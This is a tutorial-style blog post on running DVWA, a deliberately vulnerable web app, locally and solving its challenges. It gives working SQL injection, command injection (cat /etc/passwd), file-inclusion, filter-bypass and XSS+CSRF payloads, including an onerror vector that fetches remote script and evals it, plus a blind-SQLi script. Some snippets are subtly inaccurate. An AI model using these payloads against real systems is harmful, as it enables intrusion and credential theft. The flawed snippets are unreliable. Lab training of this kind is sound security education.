Published on

Complete Guide to Setting Up DVWA and Mastering Web Vulnerabilities

Authors

Complete Guide to Setting Up DVWA and Mastering Web Vulnerabilities

The Damn Vulnerable Web Application (DVWA) is an intentionally vulnerable PHP/MySQL web application designed to help security professionals, developers, and students learn about web application security in a controlled environment. This guide will walk you through setting up DVWA using Docker and provide practical solutions for common web vulnerabilities.

⚠️ WARNING: DVWA is intentionally vulnerable. Never deploy it on public servers or production environments.


Getting Started: Docker Installation

Installing Docker

Before we can run DVWA, you'll need Docker installed on your system. Docker provides a consistent environment across different operating systems.

For detailed installation instructions, visit: https://docs.docker.com/get-started/get-docker/


Setting Up DVWA

1. Run the DVWA Container

Once Docker is installed, open your terminal or command prompt and run:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

This command will:

  • Download the DVWA image (first time only)
  • Start the container
  • Map port 80 from the container to your local port 80

2. Access DVWA

Open your web browser and navigate to:

http://localhost

3. Initialize the Database

You'll see the DVWA setup page. Click the "Create / Reset Database" button to generate the necessary database configuration.

4. Login

Use the default credentials:

  • Username: admin
  • Password: password

5. Set Difficulty Level

Navigate to "DVWA Security" in the left menu to change the difficulty level. The default is "Impossible" - start with "Low" for learning purposes.


Understanding DVWA Difficulty Levels

DVWA offers four difficulty levels for each vulnerability:

  • Low: No security measures - basic exploitation
  • Medium: Some filtering/validation - requires bypassing
  • High: More sophisticated protection - advanced techniques needed
  • Impossible: Properly secured - demonstrates correct implementation

Web Vulnerability Solutions by Difficulty

Let's explore practical solutions for common web vulnerabilities, starting from beginner to advanced levels.

🔴 Low Difficulty Solutions

Perfect for beginners to understand basic attack vectors.

SQL Injection (Low)

Vulnerability: The application directly concatenates user input into SQL queries without validation.

Target: User ID input field

Source Code Analysis:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

Solution 1 - View All Records:

' OR 1=1 --

This payload creates the query:

SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 -- ';

Solution 2 - Extract Password Hashes:

' UNION SELECT first_name,password FROM users --

Result: Displays all user password hashes that can be cracked using tools like Hashcat or John the Ripper.

Command Injection (Low)

Vulnerability: User input is directly executed as system commands.

Target: IP address ping functionality

Payload:

127.0.0.1 ; whoami ; cat /etc/passwd

Result: Executes multiple commands, revealing system information and user accounts.

File Inclusion (Low)

Vulnerability: Application includes files based on unvalidated user input.

Target: Page parameter in URL

Solution 1 - Local File Inclusion:

http://localhost/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd

Solution 2 - PHP Code Disclosure:

http://localhost/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../../../../var/www/html/hackable/flags/fi.php

🟡 Medium Difficulty Solutions

Introduces basic filtering that can be bypassed with clever techniques.

SQL Injection (Medium)

Changes: Adds mysql_real_escape_string() and removes quotes around the ID parameter.

Bypass: Since the ID isn't enclosed in quotes, escape string filtering doesn't matter.

Payload:

1 OR 1=1 --

Password Extraction:

1 UNION SELECT first_name,password FROM users --

Command Injection (Medium)

Changes: Replaces && and ; with empty strings (but only once, not recursively).

Bypass 1 - Use Alternative Operators:

127.0.0.1 | whoami

Bypass 2 - Double Encoding:

127.0.0.1 ;; whoami

(After filtering: 127.0.0.1 ; whoami)

File Inclusion (Medium)

Changes: Removes http://, https://, ../, and ..\ from input.

Bypass - Non-Recursive Filtering:

....//....//....//....//....//etc/passwd

After filtering becomes: ../../../../../etc/passwd

🔶 High Difficulty Solutions

Requires advanced techniques and creative bypasses.

Command Injection (High)

Changes: Filters | (pipe with space) but not | without space.

Bypass:

127.0.0.1 |whoami

File Inclusion (High)

Changes: Uses fnmatch() to only allow files starting with "file".

Bypass 1 - Path Traversal:

file/../../../../../../../etc/passwd

Bypass 2 - File Protocol:

file:///etc/passwd
file:///var/www/html/hackable/flags/fi.php

CSRF (High)

Changes: Implements anti-CSRF tokens that regenerate with each request.

Advanced Bypass - XSS + CSRF Chain:

  1. JavaScript Payload:
var newpass = 'test'
var xhr = new XMLHttpRequest()
xhr.open('GET', 'http://localhost/DVWA/vulnerabilities/csrf/', false)
xhr.onload = function () {
  var doc = new DOMParser().parseFromString(this.responseText, 'text/xml')
  var csrf = doc.getElementsByName('user_token')[0].getAttribute('value')
  var xhr2 = new XMLHttpRequest()
  xhr2.open(
    'GET',
    `http://localhost/DVWA/vulnerabilities/csrf/?password_new=${newpass}&password_conf=${newpass}&Change=Change&user_token=${csrf}`,
    false
  )
  xhr2.send(null)
}
xhr.send(null)
  1. XSS Delivery Vector:
<img
  src="#"
  onerror="var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:8000/high.js', false); xhr.onload = function () {eval(this[atob('cmVzcG9uc2VUZXh0')])}; xhr.send(null); "
/>

Advanced Techniques

Blind SQL Injection

When applications don't return query results, use Boolean-based techniques:

Length Discovery:

1' AND (select 'x' from users where first_name='admin' and LENGTH(password) > 31)='x' #

Character-by-Character Extraction:

1' AND (select substring(password, 1, 1) from users where first_name='admin')='5' #

Automation Scripts

For complex attacks like Blind SQL Injection, automation is essential:

import requests

def sql_injection_blind(url, payload):
    response = requests.get(url + payload)
    return "User ID exists" in response.text

# Extract password length
for length in range(1, 50):
    payload = f"1' AND LENGTH((SELECT password FROM users WHERE username='admin'))={length}#"
    if sql_injection_blind(target_url, payload):
        print(f"Password length: {length}")
        break

Conclusion

DVWA provides an excellent platform for learning web application security in a controlled environment. By progressing through the difficulty levels, you'll develop a understanding of common vulnerabilities and how to exploit them. More importantly, you'll learn how to properly secure applications against these attacks.

Remember: The goal isn't just to break things, but to understand how to build secure applications that protect users and data.

Happy learning, and stay secure! 🔒


For more advanced penetration testing techniques and security resources, consider exploring platforms like HackTheBox, TryHackMe, and PortSwigger's Web Security Academy.